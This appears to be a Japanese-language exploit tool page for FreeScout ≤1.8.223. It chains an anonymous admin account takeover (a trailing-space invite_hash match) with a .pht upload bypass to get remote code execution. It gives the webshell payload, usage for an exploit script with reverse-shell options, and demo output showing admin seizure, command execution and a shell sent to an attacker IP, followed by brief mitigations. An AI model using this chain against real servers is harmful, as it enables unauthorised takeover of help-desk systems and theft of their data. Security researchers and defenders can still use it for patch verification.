## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XDAK-CVE-2026-53595_EXPLOIT
# CVE-2026-53595(+ CVE-2026-53593)— FreeScout 匿名ATO → RCE
**FreeScout ≤ 1.8.223** (Laravel製ヘルプデスク)における非認証のリモートコード実行。2つの欠陥を連鎖させることで実現するもので、いずれも**1.8.224** で修正されています:
* **CVE-2026-53595** — 匿名の**アカウント乗っ取り** 。`POST /user-setup/{hash}/{invite_sent_at}` は `invite_hash` カラムのみでアカウントを特定します。 _有効化済み_ ユーザーの `invite_hash` は `''` ですが、MySQL/MariaDBの `VARCHAR` 同値比較は**末尾のスペースを無視する** ため、`hash = %20` が管理者に一致します。`invite_sent_at` の有効期限チェックは、ユーザーのパスワードをキーにして値を復号しますが、復号ヘルパーは失敗時に**生の入力をそのまま返す** (空の `catch`)ため、平文の現在のUNIXタイムスタンプが受け入れられます。その後、エンドポイントはアカウントのメールアドレスとパスワードを上書きし、ログインさせます。
* **CVE-2026-53593** — 認証済みの**`.pht` アップロード**。アップロードの拒否リスト(`php.*|sh|pl|phtml|phar`)は `.pht` を**カバーしておらず** 、Apacheの `mod_php` は `.pht` をPHPとして実行します。
これらを連鎖させると、非認証の攻撃者がウェブサーバーユーザー(`www-data`)としてコードを実行できます。
## 動作内容
1. `GET /user-setup/%20/<unix_ts>` でセッションCookieとCSRFトークンを取得します。
2. 同じURLに`POST`して、管理者のメールアドレス/パスワードを上書きしてログインします(ATO)。
3. `POST /uploads/upload` で `shell.pht`(`<?php system($_GET['c']); ?>`)をアップロードします。
4. Webシェル経由でコマンドを実行するか、リバースシェルを開きます。
## 使用方法
root@kitploit:~
./exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default some-email@example.com)
--password PASS password to set (default Pwned12345)
-h, --help
## デモ
root@kitploit:~
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> some-email@example.com / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
## 必要なもの
* `bash`、`curl`、`jq`
## 注意事項
* FreeScout `1.0.x – 1.8.223` で動作します。`1.8.224+` では両方のバグが修正されています(`302` は乗っ取り失敗になります)。
* RCEは**www-data** (Apacheのユーザー)として実行されます。`.pht` の実行は、サーバーが `mod_php` 経由で `.pht` を実行しているかどうかに依存します。これはCVEが対象とする「標準的なApache + libapache2-mod-php」環境です。
* リバースシェルはWebシェルに到達する前にbase64エンコードされます。`system()` は `/bin/sh`(Debian/Ubuntuではdash)経由で実行されるため、bash専用の `>& /dev/tcp/...` リダイレクトを解釈できません。base64化により、クォートに関する問題もすべて回避されます。
* デフォルトのパスワードには意図的に `!` が含まれていません。インタラクティブなbash/zshでは `!` が履歴展開を引き起こし、貼り付けたコマンドを壊してしまうためです。
## 対策
* FreeScout **1.8.224+** にアップグレードしてください。
* セキュリティトークンに `VARCHAR` の同値比較を使用しないでください(末尾スペースの衝突)。また、復号失敗を有効な値として扱わず、空または不正なトークンを拒否してください。
* アップロードの許可リストを使用し、アップロードをWebルートの外部に保存し、それらを実行しないハンドラー経由で配信してください。
## 免責事項
認可されたセキュリティテストおよび教育目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。作者は誤用に対する一切の責任を負いません。